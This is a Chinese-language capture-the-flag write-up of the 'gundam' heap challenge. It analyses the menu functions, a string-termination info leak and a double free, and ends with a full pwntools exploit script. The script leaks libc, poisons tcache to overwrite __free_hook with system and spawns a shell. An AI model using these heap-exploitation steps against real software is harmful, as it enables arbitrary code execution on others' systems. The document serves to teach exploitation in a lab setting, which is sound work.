纪念一下,做出来的第一个堆题
gundam
检查
逆向
menu
一个选择函数,没什么解释的
build
-
开辟了一块0x28的空间,用于保存结构体
-
这里对结构体的chunk进行了初始化
-
再开辟了0x100的空间用于保存name的数据,这里没有对这个chunk进行初始化
-
然后选择gundam的type,限定0,1,2三种
-
然后将flag置1
-
对factory数组检查,并且number++
-
这里还可以总结出一个结构体
struct gundam { int flag; char* name; char type[24]; }gundam gundam* factory[9];
visit
- 检查number
- 检查factory数组以及flag,非空就打印出gundam的name和type
- 这里没有将最后一位设为‘\x00’存在信息泄露
destroy
- 选择序号,destroy对应的gundam
- 这里将flag置0,并且释放了name对应的chunk
- 但是这里没有释放掉对应的结构体以及没有将name的指针置空,那么name指针存在double free漏洞
blow_up
- 释放掉flag已经置0的结构体,同时将factory指针置0
- 将number的数量减一
- 这里算弥补了之前destroy函数的缺陷,将结构体也释放了,但是仍然没有将name指针置空
内存泄露
-
由于之前提过在输入name函数后没有将最后一位截断则满足了造成内存泄露的条件
-
这道题的libc版本是2.26,加入了tcache机制,根据tcache机制,同一个bins里面最多存放7个chunk,多的就会放进unsorted bin里面。所以先build所有的gundam,然后再释放8个gundam,这里调试看一下
第八个释放的chunk已经被放入了unsorted bin中,并且距离main_arena的偏移是96,可以泄露地址,然后寻找libc地址,算出偏移,得到libc基址
-
如何将这个地址泄露出来呢?看一看unsorted bin中的chunk
因为unsorted bin中只有一个chunk,所以fd bk指针都指向main_arena+96的位置,那么就可以恰好将fd指针覆盖,然后泄露出bk指针指向的地址,完成内存泄露
def leak():
global __free_hook_addr
global system_addr
for i in range(9):
build(b'A'*7)
for i in range(7):
destroy(i) #tcache bin
destroy(7) #unsorted bin
blow_up()
for i in range (8):
build(b'A'*7)
visit()
leak = u64(p.recvuntil("Type[7]", drop=True)[-6:].ljust(8, b'\x00'))
log.success("leak addr is ->%s" %hex(leak))
libc_base = leak - 0x3DEC80
__free_hook_addr = libc_base + libc.symbols['__free_hook']
system_addr = libc_base + libc.symbols['system']
计算libc基址
-
上一步已经拿到main_arena+96的地址了,这个地址虽然每次重新加载会变化,但与libc的偏移是固定的
-
搜索一下libc
-
有了libc地址然后又有泄露的地址就可以算出偏移了,进而算出基址
libc_base = leak - 0x3DEC80
double free
-
因为name指针始终没有置空,所以可以多次释放
-
调试看看
连续两次释放后,这个堆块的fd指向了自己,形成循环,并且其他的堆块也不在了
Tcache poisoning
-
形成循环之后,可以将这个堆块申请出来,然后将输入的name替换成free_hook的地址,这样就会把chunk的fd覆盖成free函数的地址,相当于把free_hook放到了tcache的第二个节点了
get shell
-
接下来就是将写入’/bin/sh\x00’并且将__free_hook的地址替换成system,这样在调用free的时候就相当于执行了system(‘/bin/sh’)
-
创建一个gundam,必然分配到第一个节点,即0x555555759510这个chunk,我们写入参数'/bin/sh\x00',查看写入成功
-
查看此时的bins
恰好free_hook现在已位于第一个位置,所以下一个申请的chunk一定是free_hook,那么在free_hook处写入system的地址,就可以将free_hook替换成system
exp
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
p = process('./pwn')
elf = ELF('./pwn')
libc = ELF('./libc-2.26_sym.so')
gdb.attach(p)
def build(name):
p.sendlineafter("Your choice : ", b'1')
p.sendlineafter("The name of gundam :", name)
p.sendlineafter("The type of the gundam :", b'0')
def visit():
p.sendlineafter("Your choice : ", b'2')
def destroy(idx):
p.sendlineafter("Your choice : ", b'3')
p.sendlineafter("Which gundam do you want to Destory:", bytes(str(idx), "utf-8"))
def blow_up():
p.sendlineafter("Your choice : ", b'4')
def leak():
global __free_hook_addr
global system_addr
for i in range(9):
build(b'A'*7)
for i in range(7):
destroy(i) #tcache bin
destroy(7) #unsorted bin
blow_up()
for i in range (8):
build(b'A'*7)
visit()
leak = u64(p.recvuntil("Type[7]", drop=True)[-6:].ljust(8, b'\x00'))
log.success("leak addr is ->%s" %hex(leak))
libc_base = leak - 0x3DEC80
__free_hook_addr = libc_base + libc.symbols['__free_hook']
system_addr = libc_base + libc.symbols['system']
def overwrite():
destroy(0)
destroy(1)
destroy(2)
destroy(2) #double free
blow_up()
build(p64(__free_hook_addr))
build(b'/bin/sh\x00')
build(p64(system_addr))
def pwn():
destroy(1)
p.interactive()
if __name__ == "__main__":
leak()
overwrite()
pwn()
#destory 0x556fdd800d32
#menu 0x556fdd800aea
#blow_up 0x556fdd800e22
#build 0x556fdd800b7d
#chunk1 0x556fddc73790
#free_hook 0x7fea26cf68c8
#0x7ffd02c9b86e ◂— 0x7ffd02c9b9600a31